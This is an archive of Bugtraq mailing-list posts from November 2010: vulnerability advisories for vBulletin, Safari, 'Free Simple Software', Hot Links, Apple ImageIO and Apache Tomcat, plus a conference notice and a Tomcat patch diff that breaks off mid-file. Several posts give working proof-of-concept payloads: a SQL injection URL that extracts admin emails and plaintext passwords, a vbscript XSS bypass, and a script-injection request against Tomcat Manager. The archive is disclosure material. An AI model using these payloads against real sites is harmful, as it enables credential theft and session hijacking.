List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 15657 invoked from network); 20 Nov 2010 18:09:22 -0000
Date: Sat, 20 Nov 2010 11:09:21 -0700
Message-Id: <201011201809.oAKI9LVi001306@www3.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: advisories@intern0t.net
To: bugtraq@securityfocus.com
Subject: vBulletin 4.0.8 PL1 - XSS Filter Bypass within Profile Customization
Status: RO

vBulletin - XSS Filter Bypass within Profile Customization

Versions Affected: 4.0.8 PL1 (3.8.* is not vulnerable.)

Info:
Content publishing, search, security, and more - vBulletin has it all.
Whether it's available features, support, or ease-of-use, vBulletin offers
the most for your money. Learn more about what makes vBulletin the
choice for people who are serious about creating thriving online communities.

External Links:
http://www.vbulletin.com

Credits: MaXe (@InterN0T)

-:: The Advisory ::-
vBulletin is prone to a Persistent Cross Site Scripting vulnerability within the
Profile Customization feature. If this feature is not enabled the vulnerability
does not exist and the installation of vBulletin is thereby secure.

Within the profile customization fields, it is possible to enter colour codes,
rgb codes and even images. The image url() function does not sanitize user
input in a sufficient way causing vBulletin to be vulnerable to XSS attacks.

With the previous patch for vBulletin 4.0.8 PL1, most attacks were disabled
however it is possible to bypass this filter and inject data which is then executed
effectively against though not limited to Internet Explorer 6.

Proof of Concept:
url(vbscript:msgbox("X/SS"))

-:: Solution ::-
Update vBulletin to version: 4.0.8 PL2

Disclosure Information:
- Vulnerability found and researched: 18th November 2010
- Disclosed to vendor (Internet Brands): 18th November
- Patch from Vendor available: 19th November
- Disclosed at: InterN0T, Full Disclosure, Bugtraq and Exploit: 20th November

References:
http://forum.intern0t.net/intern0t-advisories/3398-vbulletin-4-0-8-pl1-cross-site-scripting-filter-bypass-within-profile-customization.html
http://forum.intern0t.net/intern0t-advisories/3349-vbulletin-4-0-8-persistent-cross-site-scripting-via-profile-customization.html

From - Mon Nov 22 20:20:56 2010
X-Account-Key: account7
X-UIDL: 4cc06000000126d7
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45342-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 7158CEC12C
for <lists@securityspace.com>; Mon, 22 Nov 2010 11:42:05 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id D575B237199; Mon, 22 Nov 2010 09:24:42 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 3670 invoked from network); 21 Nov 2010 10:33:51 -0000
X-Note-AR-ScanTimeLocal: 11/21/2010 4:33:42 AM
X-Policy: GLOBAL - trusteer.com
X-Primary: amit.klein@trusteer.com
X-Note: This Email was scanned by AppRiver SecureTide
X-ALLOW: @trusteer.com ALLOWED
X-Virus-Scan: V-
X-Note: Spam Tests Failed:
X-Country-Path: UNITED STATES->UNITED STATES->UNITED STATES
X-Note-Sending-IP: 98.129.23.15
X-Note-Reverse-DNS: smtp.exg5.exghost.com
X-Note-WHTLIST: amit.klein@trusteer.com
X-Note: User Rule Hits:
X-Note: Global Rule Hits: G195 G196 G197 G198 G202 G203 G214 G302
X-Note: Encrypt Rule Hits:
X-Note: Mail Class: ALLOWEDSENDER
X-Note: Headers Injected
From: Amit Klein <amit.klein@trusteer.com>
To: "bugtraq@securityfocus.com" <bugtraq@securityfocus.com>
Date: Sun, 21 Nov 2010 04:33:45 -0600
Subject: Apple Safari for Windows (4.0.2-4.0.5, 5.0-5.0.2) Math.random()
predictability
Thread-Topic: Apple Safari for Windows (4.0.2-4.0.5, 5.0-5.0.2)
Math.random() predictability
Thread-Index: AcuJZxAYujkijU7LQ+e2bkkQidOwUA=Message-ID: <2C907A76B43C464C82E7CF1AA278A8296956879C@MBX07.exg5.exghost.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-cr-hashedpuzzle: AfBq BJjA B7S3 CUky Cyvu Em7Y EoxH Eyo4 Ft/Z F4l8 GFLY
Gqy9 G8ux Ju0y KK6X
K9cg;1;YgB1AGcAdAByAGEAcQBAAHMAZQBjAHUAcgBpAHQAeQBmAG8AYwB1AHMALgBjAG8AbQA=;Sosha1_v1;7;{0B48109C-58FD-4F3B-A569-64826C9683F1};YQBtAGkAdAAuAGsAbABlAGkAbgBAAHQAcgB1AHMAdABlAGUAcgAuAGMAbwBtAA==;Sun,
21 Nov 2010 10:33:45
GMT;QQBwAHAAbABlACAAUwBhAGYAYQByAGkAIABmAG8AcgAgAFcAaQBuAGQAbwB3AHMAIAAoADQALgAwAC4AMgAtADQALgAwAC4ANQAsACAANQAuADAALQA1AC4AMAAuADIAKQAgAE0AYQB0AGgALgByAGEAbgBkAG8AbQAoACkAIABwAHIAZQBkAGkAYwB0AGEAYgBpAGwAaQB0AHkA
x-cr-puzzleid: {0B48109C-58FD-4F3B-A569-64826C9683F1}
acceptlanguage: en-US
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
Status: RO

Hi list

Earlier this year, Trusteer discovered a vulnerability in Apple Safari for Windows (versions 4.0.2-4.0.5 and 5.0-5.0.2). The issue is in the Javascript Math.random function, which is implemented in Safari via its WebKit core. Trusteer reported this vulnerability to Apple and to WebKit.org. Today Apple released a fix to this vulnerability - as Safari 5.0.3 (http://support.apple.com/kb/HT1222, http://support.apple.com/kb/HT4455).

For more details, please read the full report:
http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Safari_for_Windows.pdf

Thanks,
-Amit
Amit Klein, CTO, Trusteer

From - Mon Nov 22 20:20:56 2010
X-Account-Key: account7
X-UIDL: 4cc06000000126d8
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45343-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id B67E9EC175
for <lists@securityspace.com>; Mon, 22 Nov 2010 11:48:45 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 96F71237225; Mon, 22 Nov 2010 09:25:00 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 20494 invoked from network); 21 Nov 2010 19:57:47 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:content-type
         :content-transfer-encoding:subject:date:message-id:cc:to
         :mime-version:x-mailer;
        bh=TLDWWaQdZnkTrGbwWUQOO89yWxP2yrE9TBl/iJ3u6eg=;
        b=lxv+Io40MDbx+FnsjuCTHCjRlh8bPXTTuMpqtsGJMaZw/N/V9qx6v+ocqIiQItXGEn
         zgrkIIDckR2WIfL4qd4cWoTnf/nXL/9y7BIJ7WWa2CeQBGgmjuXBrBaht5NuJhk7egLX
         3f9kCJsmbTf0hmdFHyi9Ntq2r6QJ3Ld1oWeZsDomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:content-type:content-transfer-encoding:subject:date:message-id
         :cc:to:mime-version:x-mailer;
        b=muqbz4w6vTZ2gs+pbhEk9sdK3JWk9nqtnU+M/dNDB7WNtpjKnaRsPKR+zUbeN2Gm0q
         4ITe/s11YV/d55rjWNzQKoJck8UJlI2V2Jn74yjkydyd4eXUkRbp3fGfWxHaaZ4X0Ptz
         N5wyWJSwj1RpOzOhMiyQebOw6cRJJrsUUhhmUFrom: Mark Stanislav <mark.stanislav@gmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
Subject: 'Free Simple Software' SQL Injection Vulnerability (CVE-2010-4298)
Date: Sun, 21 Nov 2010 14:56:49 -0500
Message-Id: <8B06954A-A41E-4AAA-AF35-40D5A1120323@gmail.com>
Cc: bugtraq@securityfocus.com
To: full-disclosure@lists.grok.org.uk
Mime-Version: 1.0 (Apple Message framework v1082)
X-Mailer: Apple Mail (2.1082)
Status: RO

'Free Simple Software' SQL Injection Vulnerability (CVE-2010-4298)
Mark Stanislav - mark.stanislav@gmail.com

I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'Free Simple Software' download module which allows for a 'UNION SELECT' to easily expose the application administrator's plaintext password.

II. TESTED VERSION
---------------------------------------
1.0 [Manual Install Version]

III. PoC EXPLOIT
---------------------------------------
http://site.com/index.php?page=downloads&request=download_now&downloads_id=' UNION SELECT email_address as name, NULL, NULL, password as file_name, last_name as file_url from admin_users where id!='NULL

IV. NOTES
---------------------------------------
* User passwords for this web application are not encrypted or hashed which makes this exploit even more concerning.
* The PoC assumes that the first user is the administrative user which is the default behavior for the application.
* At least 1 download must already exist to enable this exploit.
* Due to a previous vulnerability not being fixed 3-months after disclosure (CVE-2010-3307), it's assumable that this application is not being actively developed.

V. SOLUTION
---------------------------------------
Do not utilize the download module. No patch/upgrade is available at this time.

VI. REFERENCES
---------------------------------------
http://www.freesimplesoft.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4298
https://www.uncompiled.com/2010/11/free-simple-software-sql-injection-vulnerability-cve-2010-4298/

VII. TIMELINE
---------------------------------------
11/12/2010: Initial disclosure e-mail to the vendor
11/21/2010: Public disclosure
From - Mon Nov 22 20:20:56 2010
X-Account-Key: account7
X-UIDL: 4cc06000000126d9
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45344-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 89BAEEC175
for <lists@securityspace.com>; Mon, 22 Nov 2010 11:55:16 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id DFDF723723F; Mon, 22 Nov 2010 09:25:11 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 28643 invoked from network); 21 Nov 2010 23:08:22 -0000
Message-ID: <4CE9A622.3090603@kernelhacking.com>
Date: Sun, 21 Nov 2010 21:07:14 -0200
From: "Rodrigo Rubira Branco (BSDaemon)" <rodrigo@kernelhacking.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6
MIME-Version: 1.0
To: full-disclosure@lists.grok.org.uk, bugtraq@securityfocus.com
Subject: H2HC Cancun - Free Entrance!
X-Enigmail-Version: 1.1.1
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Status: RO

Dear All,

I'm proud to announce that the H2HC Cancun entrance is now free - Thanks
to our sponsors that helped us to make this happen: Microsoft, Nitro
Security, Trustwave and others!

As many of you already know, H2HC (Hackers to Hackers Conference) is
been held for the 7th year in S�o Paulo, but for the first year also in
Cancun.

The conference will be held in the luxurious Resort Hotel Melia ME
Cancun (http://www.me-cancun.com/) on the 3rd of december.

All the talks have simultaneous translation to Spanish and the speaker
lists is awesome (thanks to all of you who trusted us and submitted your
great material for the first year of our conference in Cancun) - check
it out:  http://www.h2hc.com.br/cancun/.

Best Regards and see you in this amazing city,

Rodrigo.

From - Mon Nov 22 20:20:56 2010
X-Account-Key: account7
X-UIDL: 4cc06000000126da
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45345-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id A87B1EC175
for <lists@securityspace.com>; Mon, 22 Nov 2010 11:59:12 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id DD511237243; Mon, 22 Nov 2010 09:25:25 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 6021 invoked from network); 22 Nov 2010 11:15:49 -0000
Date: 22 Nov 2010 11:15:27 -0000
Message-ID: <20101122111527.11077.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: bt@evuln.com
To: bugtraq@securityfocus.com
Subject: [eVuln.com] report.cgi SQL inj in Hot Links SQL (CGI version)
Status: RO

New eVuln Advisory:
report.cgi SQL inj in Hot Links SQL
http://evuln.com/vulns/141/summary.html

-----------Summary-----------
eVuln ID: EV0141
Software: Hot Links SQL 3
Vendor: Mrcgiguy
Version: 3.2.0
Critical Level: medium
Type: SQL injection
Status: Unpatched. No reply from developer(s)
PoC: Available
Solution: Not available
Discovered by: Aliaksandr Hartsuyeu ( http://evuln.com/ )
--------Description--------
SQL injection found in id parameter of report.cgi script. This can be used to make any SQL query by injecting arbitrary SQL code.
This vulnerability found in CGI version of Hot Links SQL 3.
--------PoC/Exploit--------
PoC code is available at http://evuln.com/vulns/141/exploit.html
---------Solution----------
Not available
----------Credit-----------
Vulnerability discovered by Aliaksandr Hartsuyeu
http://evuln.com/tool/web-security.html - Web Security Analyzer

From - Mon Nov 22 20:20:56 2010
X-Account-Key: account7
X-UIDL: 4cc06000000126db
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45346-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id B6D3CEC175
for <lists@securityspace.com>; Mon, 22 Nov 2010 12:09:31 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id E0A7F237262; Mon, 22 Nov 2010 09:25:37 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 10280 invoked from network); 22 Nov 2010 16:02:37 -0000
Date: 22 Nov 2010 16:02:37 -0000
Message-ID: <20101122160237.20557.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: bt@evuln.com
To: bugtraq@securityfocus.com
Subject: [eVuln.com] url XSS in Hot Links Lite
Status: RO

New eVuln Advisory:
url XSS in Hot Links Lite
http://evuln.com/vulns/142/summary.html

-----------Summary-----------
eVuln ID: EV0142
Software: Hot Links Lite
Vendor: Mrcgiguy
Version: 1.0
Critical Level: low
Type: Cross Site Scripting
Status: Unpatched. No reply from developer(s)
PoC: Available
Solution: Not available
Discovered by: Aliaksandr Hartsuyeu ( http://evuln.com/ )
--------Description--------
XSS vulnerability found in url parameter of process.cgi script. This can be used to insert any script code. Admin panel is vulnerable also.
--------PoC/Exploit--------
PoC code is available at http://evuln.com/vulns/142/exploit.html
---------Solution----------
Not available
----------Credit-----------
Vulnerability discovered by Aliaksandr Hartsuyeu
http://evuln.com/tool/xss-encoder.html - XSS String Encoder

From - Mon Nov 22 20:20:56 2010
X-Account-Key: account7
X-UIDL: 4cc06000000126dc
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45348-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 78D0CEC175
for <lists@securityspace.com>; Mon, 22 Nov 2010 15:13:16 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 40E9714389A; Mon, 22 Nov 2010 12:56:01 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 17848 invoked from network); 22 Nov 2010 19:18:27 -0000
From: "Research@NGSSecure" <research@ngssecure.com>
To: "bugtraq@securityfocus.com" <bugtraq@securityfocus.com>
Subject: NGS00015 Patch Notification: ImageIO Memory Corruption
Thread-Topic: NGS00015 Patch Notification: ImageIO Memory Corruption
Thread-Index: AcuKegYAgdEBQW9uQUm9NjcvgAGgDg=Date: Mon, 22 Nov 2010 19:18:20 +0000
Message-ID: <7E45577E4E72EC42BB3F8560D57E75510A576F@manexchprd01>
Accept-Language: en-GB, en-US
Content-Language: en-GB
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
signature: OK
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
Status:

ImageIO Memory Corruption - CVE-2010-1845

22/11/2010

Dominic Chell of NGS Secure has discovered a high risk memory corruption vulnerability affecting the ImageIO rendering framework. Viewing a maliciously crafted PSD image may lead to an unexpected application termination or arbitrary code execution. This issue can be remotely (client-side) exploited through any application using the framework including Mail, Safari and QuickLook.

Versions affected include:

Mac OS X v10.5.8, Mac OS X Server v10.5.8, Mac OS X v10.6 through v10.6.4, Mac OS X Server v10.6 through v10.6.4

Apple has released a patch that addresses these issues. The announcement of
this patch can be found here:

http://support.apple.com/kb/HT1222

Patches can be downloaded from the following links.

Apple security updates are available via the Software Update mechanism:
   http://support.apple.com/kb/HT1338

Apple security updates are also available for manual download via:
   http://www.apple.com/support/downloads/

NGS Secure are going to withhold details about these flaws for three months. Full details will be published on 22/02/2011. This three month window will allow Apple customers the time needed to test and apply the patch set before the details are released to the general public. This reflects NGS Secure's approach to responsible disclosure.

NGS Secure Research
http://www.ngssecure.com/
From - Mon Nov 22 20:20:56 2010
X-Account-Key: account7
X-UIDL: 4cc06000000126dd
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45347-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 97531EC175
for <lists@securityspace.com>; Mon, 22 Nov 2010 15:44:00 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id E056C143862; Mon, 22 Nov 2010 12:55:29 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 17755 invoked from network); 22 Nov 2010 19:13:10 -0000
Message-ID: <4CEAC06F.6030900@apache.org>
Date: Mon, 22 Nov 2010 19:11:43 +0000
From: Mark Thomas <markt@apache.org>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6
MIME-Version: 1.0
To: announce@tomcat.apache.org, announce@apache.org,
Tomcat Users List <users@tomcat.apache.org>,
Tomcat Developers List <dev@tomcat.apache.org>,
full-disclosure@lists.grok.org.uk, bugtraq@securityfocus.com
Subject: [SECURITY] CVE-2010-4172: Apache Tomcat Manager application XSS vulnerability
X-Enigmail-Version: 1.1.1
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Status:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

CVE-2010-4172: Apache Tomcat Manager application XSS vulnerability

Severity: Tomcat 7.0.x - Low, Tomcat 6.0.x - Moderate

Vendor: The Apache Software Foundation

Versions Affected:
- - Tomcat 7.0.0 to 7.0.4
  - Not affected in default configuration.
  - Affected if CSRF protection is disabled
  - Additional XSS issues if web applications are untrusted
- - Tomcat 6.0.12 to 6.0.29
  - Affected in default configuration
  - Additional XSS issues if web applications are untrusted
- - Tomcat 5.5.x
  - Not affected

Description:
The session list screen (provided by sessionList.jsp) in affected
versions uses the orderBy and sort request parameters without applying
filtering and therefore is vulnerable to a cross-site scripting attack.
Users should be aware that Tomcat 6 does not use httpOnly for session
cookies by default so this vulnerability could expose session cookies
from the manager application to an attacker.
A review of the Manager application by the Apache Tomcat security team
identified additional XSS vulnerabilities if the web applications
deployed were not trusted.

Example:
GET
/manager/html/sessions?path=/&sort="><script>alert('xss')</script>order=ASC&action=injectSessions&refresh=Refresh+Sessions+list

Mitigation:
Users of affected versions should apply one of the following mitigations
- - Tomcat 7.0.0 to 7.0.4
  - Remove the Manager application
  - Remove the sessionList.jsp and sessionDetail.jsp files
  - Ensure the CSRF protection is enabled
  - Apply the patch 7.0.4 patch (see below)
  - Update to 7.0.5 when released
- - Tomcat 6.0.12 to 6.0.29
  - Remove the Manager application
  - Remove the sessionList.jsp and sessionDetail.jsp files
  - Apply the patch for 6.0.29 (see below)
  - Update to 6.0.30 when released

No release date has been set for the next Tomcat 7.0.x and Tomcat 6.0.x
releases.

Credit:
The original issue was discovered by Adam Muntner of Gotham Digital Science.
Additional issues were identified by the Tomcat security team as a
result of reviewing the original issue.

References:
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html

Note: The patches The Apache Tomcat Security Team

****************
Patch for 6.0.29
****************

Index: webapps/manager/WEB-INF/jsp/sessionDetail.jsp
==================================================================- --- webapps/manager/WEB-INF/jsp/sessionDetail.jsp (revision 1037769)
+++ webapps/manager/WEB-INF/jsp/sessionDetail.jsp (working copy)
@@ -30,8 +30,10 @@
<% String path = (String) request.getAttribute("path");
    Session currentSession (Session)request.getAttribute("currentSession");
    HttpSession currentHttpSession = currentSession.getSession();
- -   String currentSessionId = currentSession.getId();
- -   String submitUrl ((HttpServletRequest)pageContext.getRequest()).getRequestURL().toString();
+   String currentSessionId = JspHelper.escapeXml(currentSession.getId());
+   String submitUrl = JspHelper.escapeXml(
+           ((HttpServletRequest)
pageContext.getRequest()).getRequestURI() +
+           "?path=" + path);
%>
<head>
     <meta http-equiv="content-type" content="text/html;
charset=iso-8859-1"/>
@@ -45,7 +47,7 @@
<title>Sessions Administration: details for <%= currentSessionId
%></title>
</head>
<body>
- -<h1>Details for Session <%= JspHelper.escapeXml(currentSessionId) %></h1>
+<h1>Details for Session <%= currentSessionId %></h1>
  <table style="text-align: left;" border="0">
   <tr>
@@ -54,7 +56,7 @@
   </tr>
   <tr>
     <th>Guessed Locale</th>
- -    <td><%= JspHelper.guessDisplayLocaleFromSession(currentSession)
%></td>
+    <td><%JspHelper.escapeXml(JspHelper.guessDisplayLocaleFromSession(currentSession))
%></td>
   </tr>
   <tr>
     <th>Guessed User</th>
@@ -120,7 +122,7 @@
     String attributeName = (String)
attributeNamesEnumeration.nextElement();
%>
<tr>
- - <td align="center"><form action="<%= submitUrl %>"><div><input
type="hidden" name="path" value="<%= path %>" /><input type="hidden"
name="action" value="removeSessionAttribute" /><input type="hidden"
name="sessionId" value="<%= currentSessionId %>" /><input type="hidden"
name="attributeName" value="<%= attributeName %>" /><input type="submit"
value="Remove" /></div></form></td>
+ <td align="center"><form action="<%= submitUrl %>"><div><input
type="hidden" name="action" value="removeSessionAttribute" /><input
type="hidden" name="sessionId" value="<%= currentSessionId %>" /><input
type="hidden" name="attributeName" value="<%JspHelper.escapeXml(attributeName) %>" /><input type="submit"
value="Remove" /></div></form></td>
<td><%= JspHelper.escapeXml(attributeName) %></td>
<td><% Object attributeValue currentHttpSession.getAttribute(attributeName); %><span title="<%attributeValue == null ? "" : attributeValue.getClass().toString()
%>"><%= JspHelper.escapeXml(attributeValue) %></span></td>
</tr>
Index: webapps/manager/WEB-INF/jsp/sessionsList.jsp
==================================================================- --- webapps/manager/WEB-INF/jsp/sessionsList.jsp (revision 1037769)
+++ webapps/manager/WEB-INF/jsp/sessionsList.jsp (working copy)
@@ -26,7 +26,9 @@
  <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<% String path = (String) request.getAttribute("path");
- -   String submitUrl ((HttpServletRequest)pageContext.getRequest()).getRequestURI() +
"?path=" + path;
+   String submitUrl = JspHelper.escapeXml(
+           ((HttpServletRequest)
pageContext.getRequest()).getRequestURI() +
+           "?path=" + path);
    Collection activeSessions = (Collection)
request.getAttribute("activeSessions");
%>
<head>
@@ -38,10 +40,10 @@
<meta name="author" content="Cedrik LIME"/>
<meta name="copyright" content="copyright 2005-2010 the Apache
Software Foundation"/>
<meta name="robots" content="noindex,nofollow,noarchive"/>
- - <title>Sessions Administration for <%= path %></title>
+ <title>Sessions Administration for <%= JspHelper.escapeXml(path)
%></title>
</head>
<body>
- -<h1>Sessions Administration for <%= path %></h1>
+<h1>Sessions Administration for <%= JspHelper.escapeXml(path) %></h1>
  <p>Tips:</p>
<ul>
@@ -55,13 +57,13 @@
<form action="<%= submitUrl %>" method="post" id="sessionsForm">
<fieldset><legend>Active HttpSessions informations</legend>
<input type="hidden" name="action" id="sessionsFormAction"
value="injectSessions"/>
- - <input type="hidden" name="sort" id="sessionsFormSort" value="<%(String) request.getAttribute("sort") %>"/>
+ <input type="hidden" name="sort" id="sessionsFormSort" value="<%JspHelper.escapeXml(request.getAttribute("sort")) %>"/>
<% String order = (String) request.getAttribute("order");
   if (order == null || "".equals(order)) {
    order = "ASC";
   }
%>
- - <input type="hidden" name="order" id="sessionsFormSortOrder"
value="<%= order %>"/>
+ <input type="hidden" name="order" id="sessionsFormSortOrder"
value="<%= JspHelper.escapeXml(order) %>"/>
<input type="submit" name="refresh" id="refreshButton" value="Refresh
Sessions list"
onclick="document.getElementById('sessionsFormAction').value='refreshSessions';
return true;"/>
<%= JspHelper.formatNumber(activeSessions.size()) %> active Sessions<br/>
<table border="1" cellpadding="2" cellspacing="2" width="100%">
@@ -95,13 +97,13 @@
<% Iterator iter = activeSessions.iterator();
    while (iter.hasNext()) {
     Session currentSession = (Session) iter.next();
- -    String currentSessionId = currentSession.getId();
+    String currentSessionId = JspHelper.escapeXml(currentSession.getId());
